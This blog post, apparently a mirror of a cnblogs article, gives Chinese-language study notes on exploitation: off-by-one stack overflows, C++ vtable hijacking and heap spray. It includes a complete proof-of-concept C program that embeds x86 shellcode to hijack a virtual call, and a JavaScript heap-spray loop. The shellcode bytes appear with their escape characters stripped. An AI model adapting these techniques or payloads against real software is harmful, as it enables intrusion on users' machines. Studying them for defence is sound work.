zoukankan      html  css  js  c++  java
  • OD: Memory Attach Technology

    Off by One

    根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类:

    1. 基础的栈溢出利用,可以利用返回地址轻松劫持进程,植入 shellcode,如对 strcpy、strcat 等函数的攻击。
    2. 高级栈溢出利用。栈中有限制因素,溢出数据只能淹没部分 EBP,但无法淹没返回地址,不能获得 EIP 控制权。经典例子是对 strnpy 函数误用时产生的 off by one 漏洞。
    3. 堆溢出、格式化串漏洞利用。

    考虑如下代码:

     1 void off_by_one_bug(char * input)
     2 {
     3     char buf[200];
     4     int i=0,len=0;
     5     len=sizeof(buf);
     6     for(i=0; input[i] && (i<=len); i++)
     7     {
     8         buf[i]=input[i];
     9     }
    10     ...
    11 }

    第 6 行处的 input[i] && (i<=len),其作用是防止复制字符串时越界,但正确的条件是 i<len,i<=len 会产生漏洞:

    这位例子中,缓冲区后面紧接着是 EBP 和返回地址,溢出的一个字节正好破坏了 EBP 的低 8 位(Inter x86 下的小端机),也就是说,攻击者可以在 255 个字节的范围内移动 EBP,如果能够让 EBP 恰好植入可控制的缓冲区内,就有可能劫持进程

    另外,off by one 漏洞也可能破坏关键的邻接变量,从而改变程序流程,或者导致整数溢出等问题。

    攻击 C++ 的虚函数

    C++ 的多态特性主要靠对虚函数的动态调用来实现,虚函数和虚表的要点如下:

    1. C++ 类的成员函数声明时若使用 virtual 修饰,则为虚函数
    2. 一个类中可以有多个虚函数
    3. 虚函数的入口地址统一保存在虚表(VTable)4. 对象使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址调用
    5. 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量
    6. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性

    如果对象中的成员变量发生溢出,有机会修改对象中的虚表指针或者虚表中的虚函数指针,那么虚函数被调用时就会去执行 shellcode。

    以下代码简要演示了C++虚表攻击:

     1 /*****************************************************************************
     2       To be the apostrophe which changed "Impossible" into "I'm possible"!
     3         
     4 POC code of chapter 8.3 in book "Vulnerability Exploit and Analysis Technique"
     5  
     6 file name    : v_table.c
     7 author        : failwest  
     8 date        : 2007.10.05
     9 description    : used as a demo to show how to exploit virtual function in C++
    10 Noticed        : complied with VC6.0; build into release version
    11               the address of virtual table and virtual function may need to make sure
    12               during runtime debug    
    13 version        : 1.0
    14 E-mail        : failwest@gmail.com
    15         
    16     Only for educational purposes    enjoy the fun from exploiting :)
    17 ******************************************************************************/
    18 #include "windows.h"
    19 #include "stdio.h"
    20 #include "iostream.h"
    21 
    22 char shellcode[]=
    23 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    24 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    25 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    26 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    27 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    28 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    29 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    30 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    31 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    32 "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
    33 "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"
    34 "x6Cx9Dx42x00";//set fake virtual function pointer, offset-in-shellcode:176=0xB0
    35 
    36 class Failwest
    37 {
    38 public:
    39     char buf[200];
    40     virtual void test(void)
    41     {
    42         cout<<"Class Vtable::test()"<<endl;
    43     }
    44 };
    45 Failwest overflow, *p;
    46 void main(void)
    47 {
    48     char * p_vtable;
    49     p_vtable=overflow.buf-4;//point to virtual table
    50     //__asm int 3
    51     //reset fake virtual table to 0x004088cc
    52     //the address may need to ajusted via runtime debug
    53     //printf("%08X
    ",overflow.buf);
    54     //exit(0);
    55     p_vtable[0]=0x1C;
    56     p_vtable[1]=0x9E;
    57     p_vtable[2]=0x42;
    58     p_vtable[3]=0x00;
    59     strcpy(overflow.buf,shellcode);//set fake virtual function pointer
    60     p=&overflow;
    61     p->test();
    62 }

    上述代码的实验环境和编译环境和前方的一样,需要说明的是:

    1. 虚表指针位于 char buf[200] 之前,程序中通过 overflow.buf-4 直接定位。

    2. 程序中显式修改考虚表指针,使其指向缓冲区 buf 的偏移 0xB0=176 处:0x00429E1C。

    3. 程序执行到 p->test() 时,将按照伪造的虚表指针去 0x00429E1C 寻找虚表,这个位置正好指向 buf 的起始点 0x00429D6C,所以程序将被引导去执行 buf 中的 shellcode。

    实验中,相关的地址 0x00429D6C 和 0x00429E1C 可能需要根据环境重新定位。

    攻击虚函数有一些不方便的限制:

    1. 虚表指针位于成员变量之前,而一般溢出(数组,字符串)只能覆盖成员变量之后的区域。
    2. 对象的内存空间位于堆中(以上的示例不是栈溢出,因为事件发生在堆中;但也不是堆溢出,因为没用到 Dword Shoot)。
    3. 示例中使用的连续性覆盖若能将数据溢出到下一个对象中去,攻击还是有机会的。
    4. 若使用 Dword Shoot,攻击会容易一些:修改虚表指针或虚函数指针都是不错的选择。

    可见,在指令层次上,虚函数、面向对象这些 C++ 特性与 C 语言没有本质区别,以漏洞的眼光看这些内容,都是函数指针而已!

    Heap Spray

    Heap Spray 是针对浏览器的堆溢出与栈溢出的协同攻击,这里简单介绍下,后续会有专门的例子。

    当浏览器使用的 ActiveX 控件中存在溢出漏洞时,攻击者可以生成特殊 HTML 文件来触发漏洞,获得 EIP。页面中,JavaScript 可以申请内存,故 shellcode 经常放在 JavaScript 来进行布置。然而堆内存的分布有很大的随机性,如何将 shellcode 在堆中定位?Heap Spray 正是为解决这个问题而产生的技术。

    Blazde 和 SkyLined 最先于 2004 年为 IE 中的 IFRAME 漏洞写 exploit 时使用 Heap Spray 技术(MS04-040,CVE-2004-1050)。现在这种技术已经成为浏览器攻击的经典方法。

    作用 Heap Spray 时,一般会将 EIP 指向堆区的 0x0C0C0C0C 位置,然后有 JavaScript 申请大量内存,并用包含 0x90 和 shellcode 的内存片覆盖这些内存。

    通常 JavaScript 会从内存低地址向高地址分配内存,因此申请的内存超过 200MB(200*1024*1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C 将会被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 位置,shellcode 就能得到执行。

     1 var nop=unescape("%u9090%u9090");
     2 while (nop.length<=0x100000/2)
     3 {
     4         nop+=nop;
     5 }//生成一个 1MB 且充满 0x90 的数据块,作为 200 字节左右的 shellcode 的缓冲区
     6 nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);//JavaScript会自动生成额外的信息,将这些信息所占的空间减去,保证数据正好 1MB
     7 var slide=new Array();
     8 for(var i=0; i<200; i++)//用 200 个内存片来覆盖堆内存,只要其中任意一片的 nop 能够覆盖 0x0C0C0C0C,攻击就能成功
     9 {
    10         slide[i]=nop+shellcode;
    11 }

    第 6 行减去的额外信息包括:32 bytes 的堆块信息 malloc header,4 bytes 的字符串长度值 string length,2 bytes 的字符串结束符 terminator(NULL x 2)。

    以上代码被杀毒软件当作 JS 木马了。。。提交后自己都不能看了。。。

  • 相关阅读:
    JAVA面试题
    Io流
    初识线程池
    理解事务的4种隔离级别
    简单认识Git与GitHub
    JAVA自动装箱和拆箱
    代码块以及他们的执行顺序
    反射机制
    java Excel表格
    访问修饰符的含义分析
  • 原文地址:https://www.cnblogs.com/exclm/p/3753008.html
Copyright © 2011-2022 走看看